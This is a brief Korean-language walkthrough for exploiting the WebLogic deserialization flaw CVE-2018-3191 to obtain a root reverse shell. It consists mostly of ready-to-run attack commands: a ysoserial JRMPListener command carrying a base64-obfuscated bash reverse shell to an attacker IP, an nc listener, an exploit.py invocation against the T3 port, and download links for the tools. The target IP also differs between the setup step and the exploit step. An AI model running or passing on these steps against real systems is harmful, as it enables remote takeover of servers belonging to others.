
CVE-2018-3191 리버스 셸
CVE-2018-3191 리버스 셸 로컬 IP:172.16.38.1 Weblogic:172.16.38.174:7001 1、 로컬 실행 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
그런 다음 nc -lvv 7777 실행
(1) 여기서 bash 명령어는 Runtime.getRuntime().exec() 실행 중 특수 기호가 이스케이프되는 것을 방지하기 위해 base64 인코딩/디코딩을 수행한 것이며, 평문은 bash -i >& /dev/tcp/172.16.38.1/7777 0>&1 입니다. (2) 이 작업은 로컬에서 JRMPListener를 수신하여 공격받는 Weblogic의 요청을 받고 지정된 bash 리버스 명령을 실행합니다. (3) nc가 7777 포트를 수신하여 Weblogic 호스트의 bash 리버스 연결을 기다립니다. 2、 실행 python exploit.py 172.16.38.247 7001 weblogic-spring-jndi-10.3.6.0.jar 172.16.38.1 2222,취약점을 이용하여 Weblogic이 원격 RMI 서비스에 접속하게 하고 bash 리버스 명령을 실행합니다.
3、 nc가 수신 대기하는 포트에서 리버스 bash를 받았으며, root 권한입니다.
공격에 필요한 도구: ysoserial-master.jar //역직렬화 활용 도구https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar weblogic-spring-jndi-10.3.6.0.jar // CVE-2018-3191 payload 생성 도구 https://github.com/voidfyoo/CVE-2018-3191/releases exploit.py //Weblogic T3 프로토콜 전송 도구, CVE-2018-3191 payload 통합